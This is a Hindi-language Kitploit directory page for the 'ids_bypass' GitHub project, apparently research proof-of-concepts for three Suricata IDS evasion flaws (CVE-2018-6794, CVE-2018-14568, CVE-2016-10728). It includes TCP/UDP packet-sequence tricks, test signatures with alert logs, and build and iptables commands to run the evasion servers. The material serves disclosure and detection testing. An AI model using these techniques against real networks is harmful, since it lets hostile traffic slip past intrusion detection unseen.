Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ids_bypass — IDS बाइपास ट्रिक्स | Kitploit
उपकरण/GitHubGitHub/kirillwow/ids_bypass
शोषणआईडीएस/आईपीएस से बचनानेटवर्क सुरक्षालर्निंग और शिक्षा
GitHubkirillwow/ids_bypass

ids_bypass

IDS बाइपास ट्रिक्स

रिपॉजिटरी देखें
121247 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

अस्वीकरण

ये प्रोग्राम केवल शैक्षिक उद्देश्य के लिए हैं। अनुमति के बिना इसका उपयोग न करें।

inject_server: CVE-2018-6794 के लिए प्रूफ-ऑफ-कॉन्सेप्ट।

यदि सर्वर साइड के रूप में आप सामान्य TCP 3-वे हैंडशेक पैकेट क्रम को तोड़ते हैं और 3whs पूरा होने से पहले कुछ प्रतिक्रिया डेटा इंजेक्ट करते हैं, तो डेटा अभी भी क्लाइंट द्वारा प्राप्त किया जाएगा लेकिन कुछ IDS इंजन उस पर सामग्री जांच छोड़ सकते हैं।

root@kitploit:~
Client    ->  [SYN] [Seq=0 Ack=0]           ->  Evil Server     # Client starts a TCP 3-way handshake
Client    <-  [SYN, ACK] [Seq=0 Ack=1]      <-  Evil Server     # Server responses as it should, but ...
Client    <-  [PSH, ACK] [Seq=1 Ack=1]      <-  Evil Server     # It sends HTTP response before the 3whs is completed
Client    <-  [FIN, ACK] [Seq=83 Ack=1]     <-  Evil Server     # Moreover it finishes TCP session 
Client    ->  [ACK] [Seq=1 Ack=84]          ->  Evil Server     # Client finishes TCP 3whs by sending ACK packet and confirms data from server
Client    ->  [PSH, ACK] [Seq=1 Ack= 4]     ->  Evil Server     # Then it sends a HTTP GET request as nothing wrong happened

Suricata IDS < 4.0.4 इस समस्या से ग्रस्त है: HTTP या स्ट्रीम-टीसीपी सिग्नेचर इंजेक्टेड सामग्री पर अलर्ट नहीं करेंगे। हम PoC नेटवर्क ट्रैफ़िक के विरुद्ध निम्नलिखित सिग्नेचर लागू करने पर एक दुष्ट http प्रतिक्रिया डेटा पर कोई अलर्ट नहीं देखते हैं

root@kitploit:~
alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )

03/02/2018-11:08:13.012990  [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:56581
03/02/2018-11:08:13.013610  [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914  [**] [1:5:0] TCP GET ONLY_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914  [**] [1:6:0] HTTP GET RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80

rst_server: CVE-2018-14568 के लिए प्रूफ-ऑफ-कॉन्सेप्ट।

विंडोज़ क्लाइंट TCP डेटा को प्रोसेस कर सकते हैं भले ही वे TCP RST पैकेट के तुरंत बाद आए हों। कुछ IDS इसे सही ढंग से प्रोसेस करते हैं और RST के बाद डेटा मैच करने का प्रयास करते हैं, लेकिन कुछ RST प्राप्त होने के बाद TCP स्ट्रीम का निरीक्षण रोक देते हैं।

root@kitploit:~
Client    ->  [SYN] [Seq=0 Ack=0]           ->  Evil Server     # Client starts a TCP 3-way handshake
Client    <-  [RST, ACK] [Seq=0x0 Ack=1]    <-  Evil Server     # Server responses with TCP RST
Client    <-  [SYN, ACK] [Seq=1 Ack=1]      <-  Evil Server     # And SYN-ACK shortly after RST
           ... 3whs continues ...

Suricata IDS अभी भी इस समस्या से ग्रस्त है: HTTP या स्ट्रीम-टीसीपी सिग्नेचर इस टीसीपी सत्र पर अलर्ट नहीं करेंगे।

root@kitploit:~
alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )

05/03/2018-19:13:43.270632  [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:53434 -> 192.168.235.101:80
05/03/2018-19:13:43.471128  [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:53434

icmp_server: CVE-2016-10728 के लिए प्रूफ-ऑफ-कॉन्सेप्ट।

सर्वर को ICMP संदेश प्रकार "Destination Unreachable" कोड "Port Unreachable" के साथ उत्तर देना चाहिए यदि एक UDP पैकेट एक बंद UDP पोर्ट पर भेजा गया था। IDS ICMP अनरीचेबल उत्तरों को TCP RST पैकेट्स के समान तरीके से व्याख्या कर सकता है और इस UDP स्ट्रीम के ट्रैफ़िक निरीक्षण को रोक या सीमित कर सकता है। यदि ICMP संदेश के बाद एक सामान्य UDP उत्तर आता है, तो हमलावर अपने सर्वर से ट्रैफ़िक के UDP जांचों को बायपास करता है। ध्यान दें कि सामान्य क्लाइंट कनेक्शन बंद कर देते हैं यदि ICMP Dest. Unreachable प्राप्त होता है, इसलिए हम ICMP संदेश के संलग्न UDP में IP पतों और UDP पोर्ट्स को आपस में बदल देते हैं ताकि क्लाइंट ऐसे ICMP संदेश को स्वीकार न करे लेकिन IDS करता है।

root@kitploit:~
Client    ->  [UDP Req]                  ->  Evil Server     # Client starts UDP session by sending a packet 
Client    <-  [ICMP] [Type=3, Code=3]    <-  Evil Server     # Server responses with *improved* ICMP Destination Unreachable first
Client    <-  [UDP Resp]                 <-  Evil Server     # And with UDP answer as usual

Suricata IDS < 3.1.2 इस समस्या से ग्रस्त है: UDP सिग्नेचर दुष्ट सर्वर से पैकेट पर मैच नहीं करेंगे।

root@kitploit:~
alert udp any any -> any any (msg: "UDP BEEN RULE"; content: "been"; sid: 1; )
alert udp any any -> any any (msg: "UDP HELLO RULE"; content: "hello"; sid: 2; )

05/03/2018-03:44:11.016635  [**] [1:2:0] UDP HELLO RULE [**] [Classification: (null)] [Priority: 3] {UDP} 192.168.235.100:46599 -> 192.168.235.101:80

ये तकनीक अन्य इंट्रूज़न डिटेक्शन या नेटवर्क मॉनिटरिंग टूल्स और सिस्टम्स पर लागू की जा सकती हैं।

लेखक और क्रेडिट्स

Kirill Shipulin, Positive Technologies से (@kirill_wow) मेरे Hackfest 2018 टॉक से स्लाइड्स उपलब्ध

उपयोग

root@kitploit:~
git clone https://github.com/kirillwow/ids_bypass.git
cd ids_bypass
make
# inject server
sudo iptables -A OUTPUT -p tcp --sport 80 --tcp-flags RST RST -j DROP
sudo ./inject_server # print help
sudo ./inject_server -i eno16777736 -p 80
# rst server
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 -m owner --uid-owner 0 --tcp-flags RST RST -j ACCEPT
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 --tcp-flags RST RST -j DROP
sudo ./rst_server # print help
sudo ./rst_server -i eno16777736 -p 80
# icmp server
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -m owner --uid-owner 0 -j ACCEPT
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -j DROP
sudo ./icmp_server # print help
sudo ./icmp_server -i eno16777736 -p 80

alt PoC

टूल डाउनलोड करें